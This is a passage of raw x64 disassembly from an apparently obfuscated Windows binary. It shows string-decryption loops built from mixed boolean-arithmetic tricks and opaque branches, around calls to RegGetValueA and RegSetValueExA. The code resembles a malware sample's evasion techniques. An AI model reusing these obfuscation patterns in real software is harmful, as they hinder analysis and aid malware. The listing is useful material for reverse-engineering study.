movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400cded2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ce305
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x4c]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x14
jmp 0x1400ce8f0
movzx r11d, byte [rbp + rdi - 0x70]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x78]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x48
add r11b, dl
add r11b, bl
movzx eax, bl
sub r10b, 0x3d
and al, r10b
add al, al
sub bl, al
sub bl, 0x55
add bl, r11b
add bl, r10b
mov byte [rbp + rdi - 0x70], bl
add r8, r9
jmp 0x1400ce947
lea edx, [rdi + 0xe]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, byte [rbp + rdi - 0x70]
sub r11b, 0x62
add r11b, dl
jmp 0x1400ce978
lea ecx, [rdi + 0x6d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
add r11b, 5
inc rdi
jmp 0x1400cded2
lea edx, [rdi + 0x41]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x39
add r11b, dl
jmp 0x1400ce978
lea ecx, [rdi - 0x17]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5f
inc rdi
jmp 0x1400cded2
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x43]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x2b
add r11b, dl
movzx eax, bl
add r10b, 0x2d
and al, r10b
add al, al
sub bl, al
sub bl, 0x3b
add bl, r10b
mov byte [rbp + rdi - 0x70], bl
inc r9
dec rdi
inc rdi
jmp 0x1400cded2
lea ecx, [rdi + 0x39]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x71
add r8, r9
jmp 0x1400ce947
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x75
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400cded2
lea rcx, [rdi + r12]
movzx ebx, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5b
lea edx, [rdi + 0x59]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x6f
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x70], al
add rax, r9
sub rdi, rax
jmp 0x1400ce9b6
lea rcx, [rdi + r13]
movzx ebx, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x41
lea ecx, [rdi - 0x5c]
inc r8
movzx eax, cl
and al, bl
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x7c
add cl, bl
mov byte [rbp + rdi - 0x70], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cded2
lea rcx, [rdi + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x27
movzx eax, byte [rbp + rdi - 0x70]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400cded2
sub dil, 9
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x3f
jmp 0x1400cded0
add dil, 0x61
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x59
jmp 0x1400cdec0
lea r8, [rbp + 0x15ac9f4]
jmp 0x1400cea62
lea r8, [rbp + 0x135bc3f]
jmp 0x1400cea62
lea r8, [rbp - 0x70]
mov rcx, qword [rbp + 0xb0]
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xa0]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov r13, qword [rsp + 0x1b8]
test eax, eax
jne 0x1400d0b15
cmp dword [rbp + 0xa0], 1
jne 0x1400d0b15
xorps xmm0, xmm0
mov dword [rbp + 0xa0], eax
movzx r10d, byte [rbp + 0xa0]
movabs rsi, 0x287656a5203dc52f
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x40], 0x85848eb0
movabs r14, 0x6c290bce222beea7
mov dword [rbp - 0x3c], 0x9d9f8f9d
movabs r12, 0x1b3c5e83e1b06449
mov dword [rbp - 0x38], 0x81b49682
movabs r15, 0x796303ef60b94f8d
mov dword [rbp - 0x34], 0x85938389
mov dword [rbp - 0x30], 0xeef9f5b4
mov dword [rbp - 0x2c], 0xfaf7f1f7
mov dword [rbp - 0x28], 0xe0fec6fa
mov dword [rbp - 0x24], 0x7e3f9e0
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
cmp rbx, 0x30
jae 0x1400cf37a
movzx r11d, byte [rbp + rbx - 0x40]
mov rdx, r11
cmp r8, rbx
ja 0x1400cf371
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400ceb7f
lea r10, [rbx + rsi]
movzx eax, r10b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x49
add r10b, dl
jmp 0x1400cebb9
je 0x1400cf30a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cf291
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400cf263
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400cf248
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400cf202
nop dword [rax]
cmp r9, rbx
ja 0x1400cf368
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400cebeb
lea r10d, [rbx - 0x25]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 3
add r10b, r11b
jmp 0x1400cec1f
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cf1e7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cf1c6
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cf1ab
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400cf18d
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400ced9a
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ced7d
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400ced55
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400ced30
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400cf34d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400cf332
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400cecb5
lea r8, [r9 + 0x7a]
lea r9, [r8 + 9]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400ced08
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400cece9
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400ceccf
lea r8, [r9 + 5]
lea r9, [r8 + 0x2a]
jmp 0x1400cec30
lea ecx, [rbx - 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7f
jmp 0x1400ceb52
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x1400cf2a9
lea edx, [rbx + 0x46]
mov ecx, ntohl
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf2cc
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 0x58
inc rbx
jmp 0x1400ceb42
lea edx, [rbx - 0x12]
mov ecx, 0x3f
movzx eax, dl
dec rbx
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400ceb42
lea edx, [rbx - 0x70]
mov ecx, 8
movzx eax, dl
inc r9
and al, r11b
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400ceb42
lea ecx, [rbx + 0x32]
movzx edi, bl
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
jmp 0x1400cf21e
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400cee4b
lea ecx, [rbx + 0x2f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x49
lea rax, [r9 + r8]
cmp rax, 6
je 0x1400cf16a
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400cef71
lea ecx, [rbx + 0x33]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
cmp r8, 0x42
jae 0x1400cf125
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400cf03e
lea ecx, [rbx + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
cmp r9, 0x7a
jb 0x1400cf118
movzx ecx, r11b
movzx edi, bl
movzx eax, r11b
lea edx, [rdi - 0x46]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x2c]
jmp 0x1400cf21e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cee81
lea edx, [rbx - 0x4a]
mov ecx, 3
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x1400ceb42
inc rax
cmp r8, rax
jne 0x1400ceea8
lea edx, [rbx + 0x14]
mov ecx, Ordinal_60
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf2cc
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ceecb
lea ecx, [rbx + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x1400cf2a9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ceef3
lea edx, [rbx - 0x30]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf278
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cef19
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
add r8, r9
jmp 0x1400cf278
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cef44
lea edx, [rbx - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, dl
movzx edi, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400cf142
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400cedbf
lea ecx, [rbx - 0x16]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
inc rbx
jmp 0x1400ceb42
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cef97
movzx edi, bl
lea ecx, [rdi - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
jmp 0x1400cf21e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cefc0
lea ecx, [rbx + 0x4d]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1b
inc rbx
jmp 0x1400ceb42
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cefe6
lea ecx, [rbx + 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3f
add r8, r9
jmp 0x1400cf278
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cf009
lea ecx, [rbx - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
jmp 0x1400cf2a9
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400cedf2
lea ecx, [rbx - 0x7f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
add r10b, 0x79
inc rbx
jmp 0x1400ceb42
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cf074
lea edx, [rbx + 0x6c]
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rbx
jmp 0x1400ceb42
inc rax
cmp r8, rax
jne 0x1400cf09b
lea edx, [rbx - 0x36]
mov ecx, 0x3d
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400cf2cc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cf0c3
lea edx, [rbx - 0x7a]
mov ecx, Ordinal_45
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400cf278
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cf0ea
lea ecx, [rbx - 0x1c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3c
add r8, r9
jmp 0x1400cf278
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400cee1e
lea ecx, [rbx - 0x60]
movzx eax, r11b
and al, cl
dec rbx
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
inc rbx
jmp 0x1400ceb42
mov byte [rbp + rbx - 0x40], r10b
inc rbx
jmp 0x1400ceb42
movzx ecx, byte [rbp + rbx - 0x40]
movzx edi, bl
movzx eax, r11b
lea edx, [rdi + 0x18]
and al, dl
sub cl, al
add cl, 0x2c
lea r10d, [rcx + rcx]
add r10b, dl
add dil, 0x47
movzx ecx, r10b
movzx eax, dil
and al, r11b
add al, al
sub cl, al
add cl, 0xf
add cl, dil
add cl, r11b
mov byte [rbp + rbx - 0x40], cl
add r8, r9
jmp 0x1400cf278
lea edx, [rbx + 0x76]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, byte [rbp + rbx - 0x40]
sub r10b, 0x3a
add r10b, dl
jmp 0x1400cf2a9
lea edx, [rbx + 0x6d]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
add r10b, 5
add r10b, dl
jmp 0x1400cf2a9
lea ecx, [rbx + 0xf]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x69
jmp 0x1400cf278
lea ecx, [rbx - 0xb]
movzx eax, r11b
and al, cl
dec rbx
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x4d
inc rbx
jmp 0x1400ceb42
movzx edi, bl
movzx eax, r11b
movzx r10d, r11b
lea edx, [rdi + 0x39]
and al, dl
add al, al
sub r10b, al
add r10b, 0x71
jmp 0x1400cf21b
movzx edi, bl
movzx eax, r11b
movzx r10d, r11b
lea edx, [rdi + 0x7d]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x6b
add r10b, dl
sub dil, 0x17
movzx eax, dil
and al, r11b
add al, al
sub dil, al
sub dil, 0x5f
add dil, r11b
mov byte [rbp + rbx - 0x40], dil
inc r9
dec rbx
inc rbx
jmp 0x1400ceb42
lea ecx, [rbx + 5]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x23
add r8, r9
jmp 0x1400cf278
lea rcx, [rbx + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x6f
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400ceb42
lea rcx, [rbx + r12]
movzx r11d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r10b
lea ecx, [rbx - 0x5b]
inc r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x7d
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx - 0x40], al
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x2c]
inc r8
movzx eax, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
and al, r11b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx - 0x40], cl
add rbx, rax
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400ceb42
lea rcx, [rbx + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x25
movzx eax, byte [rbp + rbx - 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400ceb42
add bl, 0x6b
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x13
jmp 0x1400ceb40
add bl, 0xd
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x5b
jmp 0x1400ceb30
lea rdx, [rbp + 0x1407b54]
jmp 0x1400cf37e
lea rdx, [rbp + 0x7e4083]
jmp 0x1400cf37e
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp + 0xb0]
lea rax, [rbp + 0xa0]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400d0b15
movzx r11d, byte [rbp + 0xa0]
movabs r14, 0xdc7616598e5ac360
mov dword [rsp + 0x40], 0xa3776e99
movabs r15, 0xc026c9260130de60
mov dword [rsp + 0x44], 0x6363606a
movabs r12, 0x9562430cab104a20
mov dword [rsp + 0x48], 0xab657da8
mov dword [rsp + 0x4c], 0x7b7d687e
mov dword [rsp + 0x50], 0xb3666371
mov dword [rsp + 0x54], 0x65637a6d
mov dword [rsp + 0x58], 0xbb9989b8
mov dword [rsp + 0x5c], 0xbf6c727a
mov dword [rsp + 0x60], 0x9698846e
mov dword [rsp + 0x64], 0x88924596
mov dword [rsp + 0x68], 0x99859e48
mov dword [rsp + 0x6c], 0x7f4e4387
mov dword [rsp + 0x70], 0x80819482
mov dword [rsp + 0x74], 0x83987054
mov dword [rsp + 0x78], 0x8f5a8b9d
mov dword [rsp + 0x7c], 0x9a8c5d93
mov dword [rbp - 0x80], 0xb1a3b5b3
mov dword [rbp - 0x7c], 0xafb265b0
mov dword [rbp - 0x78], 0x485a69ad
mov dword [rbp - 0x74], 0xd62
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
cmp rbx, 0x50
jae 0x1400cff0a
movzx r10d, byte [rsp + rbx + 0x40]
mov rdi, r10
cmp rax, rbx
ja 0x1400cff01
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400cf4d5
lea rdx, [rbx + r14]
mov r11d, Ordinal_50
movzx ecx, dl
and cl, dil
sub r11b, cl
add r11b, r11b
add r11b, dl
add r11b, dil
jmp 0x1400cf510
je 0x1400cfe8f
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400cfe59
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400cfe1b
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400cfdfb
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400cfdb2
nop
cmp r9, rbx
ja 0x1400cfef8
lea rcx, [r9 + 0x400]
cmp rax, rcx
jae 0x1400cf53c
lea edx, [rbx - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x20
jmp 0x1400cf580
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400cfb4a
inc rcx
cmp rax, rcx
je 0x1400cfb70
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400cfba0
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400cfbc2
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400cfd8a
nop dword [rax]
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1400cfa1f
nop dword [rax]
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1400cfa0e
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1400cfaf7
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x1400cf9ee
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1400cface
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400cf9ca
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x1400cf9b6
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x1400cf9a4
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400cfa82
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x1400cf975
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400cf590
lea rax, [r9 + 8]
lea r9, [rax + 0x40]
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1400cfed9
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x1400cfebf
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1400cf766
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x1400cf745
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x1400cf724
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1400cf92b
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x1400cf8c4
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x1400cf89b
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x1400cf590
lea rax, [r9 + 6]
lea r9, [rax + 0x28]
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x1400cf876
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x1400cf85c
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x1400cf83f
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x1400cf81e
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x1400cf804
lea rcx, [r9 + 0x10]
cmp rax, rcx
ja 0x1400cf7e7
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1400cf7c4
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1400cf79a
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1400cf780
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1400cf590
lea rax, [r9 + 5]
lea r9, [rax + 0x20]
jmp 0x1400cf590
lea r8d, [rbx + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cf580
lea r8d, [rbx + 0x60]
mov edx, Ordinal_50
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cf510
lea edx, [rbx - 0x60]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x60
jmp 0x1400cf4a2
movzx edx, r10b
movzx r11d, r10b
and dl, bl
movzx edi, bl
add dl, dl
sub r11b, dl
add r11b, bl
jmp 0x1400cfdd1
lea r8d, [rbx + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx ecx, r8b
inc r9
and cl, r10b
dec rbx
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
inc rbx
jmp 0x1400cf492
lea edx, [rbx + 0x80]
dec rbx
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x80
inc rbx
jmp 0x1400cf492
lea edx, [rbx - 0x40]
movzx edi, bl
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x40
jmp 0x1400cfe33
movzx edx, bl
movzx r11d, bl
and dl, r10b
add dl, dl
sub r11b, dl
add r11b, r10b
add rax, r9
jmp 0x1400cfe76
lea r8d, [rbx + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cfe76
lea edx, [rbx + 0x80]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x80
jmp 0x1400cfd23
lea edx, [rbx - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x40
jmp 0x1400cfd4d
movzx ecx, byte [rsp + rbx + 0x40]
movzx edx, bl
movzx r11d, bl
and dl, r10b
add dl, dl
add rcx, r9
sub r11b, dl
add rbx, rcx
add r11b, r10b
inc rbx
jmp 0x1400cf492
lea r8d, [rbx + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
mov byte [rsp + rbx + 0x40], r11b
inc rbx
jmp 0x1400cf492
lea edx, [rbx - 0x60]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x60
cmp rax, 0x41
jae 0x1400cfceb
lea rcx, [r9 + 4]
cmp rax, rcx
jbe 0x1400cfc11
lea edx, [rbx - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x40
cmp r9, 0x7a
jb 0x1400cf8b7
movzx edi, bl
lea edx, [rdi + 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
add dl, r10b
lea r11d, [rdx*2 + 0x80]
jmp 0x1400cfdd1
lea edx, [rbx - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x20
lea rcx, [r9 + rax]
cmp rcx, 0x5a
je 0x1400cfd0a
lea rdx, [r9 + 5]
cmp rax, rdx
jbe 0x1400cfb41
lea edx, [rbx - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x20
jmp 0x1400cf8d9
lea r8d, [rbx + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx ecx, r8b
and cl, r10b
sub dl, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
inc rbx
jmp 0x1400cf492
lea edx, [rbx - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
jmp 0x1400cfd1b
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
lea r11d, [rbx + r10]
jmp 0x1400cfe76
lea r8d, [rbx + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
add rax, r9
jmp 0x1400cfe76
lea edx, [rbx - 0x40]
dec rbx
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x40
inc rbx
jmp 0x1400cf492
movzx edi, bl
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdi + 0x40]
jmp 0x1400cfdbe
lea rcx, [r9 + 0x28]
cmp rax, rcx
jae 0x1400cfa49
lea r8d, [rbx + 0x60]
mov edx, Ordinal_50
movzx ecx, r8b
and cl, r10b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x1400cf940
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400cfa7a
lea edx, [rbx - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r11d, [r10 + rdx]
sub r11b, 0x40
inc rbx
jmp 0x1400cf492
inc rcx
cmp rax, rcx
jne 0x1400cfa9f
lea edx, [rbx + 0x80]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x80
jmp 0x1400cfd4d
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400cfac5
lea edx, [rbx - 0x40]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
